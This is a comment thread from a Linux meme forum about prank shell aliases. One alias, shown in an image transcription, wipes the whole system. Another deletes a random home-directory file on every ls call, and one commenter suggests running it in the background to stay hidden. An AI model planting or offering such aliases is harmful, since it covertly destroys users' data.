191

Image transcription: screenshot of neovim adding alias ls='sudo rm -rf / --no-preserve-root' to the end of ~/.zshrc

you are viewing a single comment's thread
view the rest of the comments
[-] programmer_belch@lemmy.dbzer0.com 163 points 8 months ago

Why not make it more mischievous?

alias ls="find $HOME -type f | shuf -n 1 | rm -f; ls"

This line erases one random file from your home directory and then uses ls as normal. You won't know what vanished until you need it or it removes a needed library or binary.

[-] berber@lemmy.chaos.berlin 13 points 8 months ago* (last edited 8 months ago)

the first command will take too long (and will be very obvious that something is wrong if it takes forever for ls to actually list everything), better run it in the background with &

load more comments (7 replies)
this post was submitted on 19 Dec 2023
191 points (91.7% liked)

linuxmemes

20680 readers
530 users here now

I use Arch btw


Sister communities:

Community rules

  1. Follow the site-wide rules and code of conduct
  2. Be civil
  3. Post Linux-related content
  4. No recent reposts

Please report posts and comments that break these rules!

founded 1 year ago
MODERATORS